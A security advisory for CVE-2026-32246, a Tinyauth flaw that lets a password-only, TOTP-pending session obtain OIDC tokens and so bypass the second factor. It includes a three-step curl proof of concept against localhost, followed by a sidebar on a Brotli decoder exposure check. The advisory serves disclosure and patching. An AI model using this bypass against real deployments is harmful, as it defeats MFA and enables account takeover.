CVE-2026-32246

EUVD-2026-11681 · Published Mar 12, 2026

Tinyauth vulnerable to TOTP/2FA bypass via OIDC authorize endpoint

Summary

The OIDC authorization endpoint allows users with a TOTP-pending session (password verified, TOTP not yet completed) to obtain authorization codes. An attacker who knows a user's password but not their TOTP secret can obtain valid OIDC tokens, completely bypassing the second factor.

Details

When a user with TOTP enabled logs in at POST /api/user/login, the server creates a session with TotpPending: true and returns a session cookie. The context middleware (internal/middleware/context_middleware.go:56-66) correctly sets TotpPending: true and does not set IsLoggedIn for these sessions.

However, the OIDC authorize handler (internal/controller/oidc_controller.go:105-116) only checks whether a user context exists via utils.GetContext(c). It does not check IsLoggedIn or TotpPending. Since the context middleware populates a context for TOTP-pending sessions (with the username filled in), GetContext succeeds, and the handler proceeds to issue an authorization code at line 156 using the username from the incomplete session.

For comparison, the proxy controller (internal/controller/proxy_controller.go:176-179) correctly blocks TOTP-incomplete sessions by checking IsBasicAuth && TotpEnabled and setting IsLoggedIn = false. The OIDC authorize handler has no equivalent guard.

StoreCode at internal/service/oidc_service.go:305 saves the code with the victim's sub claim. The attacker then exchanges this code at POST /api/oidc/token for a valid access token and ID token.

PoC

Prerequisites: a tinyauth instance with at least one OIDC client configured and a local user with TOTP enabled.

Step 1 — Log in with password only (do not complete TOTP):

curl -c cookies.txt -X POST http://localhost:3000/api/user/login \
  -H "Content-Type: application/json" \
  -d '{"username":"totpuser","password":"totp123"}'

Response: {"message":"TOTP required","status":200,"totpPending":true}

Step 2 — Request an OIDC authorization code using the TOTP-pending cookie:

curl -b cookies.txt -X POST http://localhost:3000/api/oidc/authorize \
  -H "Content-Type: application/json" \
  -d '{"client_id":"my-client-id","redirect_uri":"http://localhost:8080/callback","response_type":"code","scope":"openid","state":"test"}'

Response: {"redirect_uri":"http://localhost:8080/callback?code=<AUTH_CODE>&state=test","status":200}

Step 3 — Exchange the code for tokens:

curl -X POST http://localhost:3000/api/oidc/token \
  -u "my-client-id:my-client-secret" \
  -d "grant_type=authorization_code&code=<AUTH_CODE>&redirect_uri=http://localhost:8080/callback"

Response contains access_token, id_token, and refresh_token for the victim user. TOTP was never submitted.

Impact

Complete bypass of TOTP/MFA for any user account on any tinyauth instance that has OIDC clients configured. An attacker who has compromised a user's password (credential stuffing, phishing, database breach) can obtain SSO tokens for that user's identity without knowing the TOTP secret. This defeats the purpose of the second factor entirely. All downstream applications relying on tinyauth's OIDC provider for authentication are affected.

Technologies

Tinyauth TinyauthSteveiliop56 Tinyauth

Weaknesses

CWE-287

CVSS scores

v3.18.5CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:H/A:N

MITRE ATT&CK

Inferred

Where this vulnerability fits in an attack

ReconImpact

Initial Access

T1190Exploit Public-Facing Application

References

Potentially impacted assets

See if this affects your attack surface

Latest trending attack

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Google Brotli decoder - Remote Code Execution via compressed requests (Exploitation Check)

This control is the second step of the Patrowl response to CVE-2026-111497 (Node2Shell). It complements the first control of 22 October 2026, which focused on the Node.js runtime, and does not replace it. Why a second control CVE-2026-111497 is an out-of-bounds write in the Google Brotli decoder, the library that decompresses Brotli ("br") data. It was first published as a Node.js vulnerability, because Node.js bundles this decoder. Later publications showed that the flaw is in the library itself. Every product that embeds an affected version of the decoder is concerned, whatever its language or vendor. A public proof of concept demonstrates code execution. Any server that decompresses request bodies sent with "Content-Encoding: br" exposes the decoder to unauthenticated attackers. Known cases include Express 5 and NestJS 11 on Node.js, Koa and Fastify setups, Bun, Envoy and Istio with request decompression enabled, and any application or reverse proxy that decodes Brotli request bodies with an affected library. The flaw also works in the other direction. A malicious server can compromise an unpatched client that decodes a Brotli response, for example Node.js fetch(), Python clients (requests, httpx, aiohttp, Scrapy) with the Brotli or brotlicffi package, or libcurl builds with Brotli support. What this control checks Patrowl sends small, valid Brotli-compressed requests to each asset and observes whether the server decodes them. The check does not depend on the technology: it detects the behaviour, whatever the stack behind it. These requests are what any legitimate client could send. They never reach the vulnerable code path and cannot affect the availability of the service. How to read the result Potentially impacted means the asset decodes Brotli request bodies: the attack surface is exposed. It does not confirm that the asset is vulnerable. The version of the Brotli decoder in use is not visible from the outside. This check covers applications that parse request bodies on their root path. A Not impacted result does not rule out exposure on other routes, nor on the client side. Checking the versions on the servers remains the only exhaustive verification. Affected and fixed versions Google Brotli 1.0.3 to 1.2.0 are affected, fixed in 1.0.10, 1.1.1 and 1.2.1. Fixed releases of the main products embedding it: Node.js 22.23.4, 24.22.1 and 26.12.1 (end-of-life lines 20.x and older and 25.x receive no fix), Bun 1.4.4, Envoy 1.37.8, 1.38.6, 1.39.3 and 1.40.0, Istio 1.29.9, 1.30.6 and 1.31.2, Python Brotli 1.2.1 and brotlicffi 1.2.1.0. Products that link against the system library depend on the Brotli package of the Linux distribution. Recommendations Update every component that embeds the Brotli decoder (only real fix). Start with the assets flagged by this control. Restart the processes after the update. Rebuild containers, single-executable applications and appliances that bundle an affected runtime or library. Reduce the exposure until the update is deployed. Reject requests with "Content-Encoding: br" at the reverse proxy, load balancer or WAF, case-insensitively and including lists such as "gzip, br". On Envoy and Istio, disable request decompression for Brotli. Review outbound calls. List the features that fetch content from servers you do not control, and patch the services that host them first.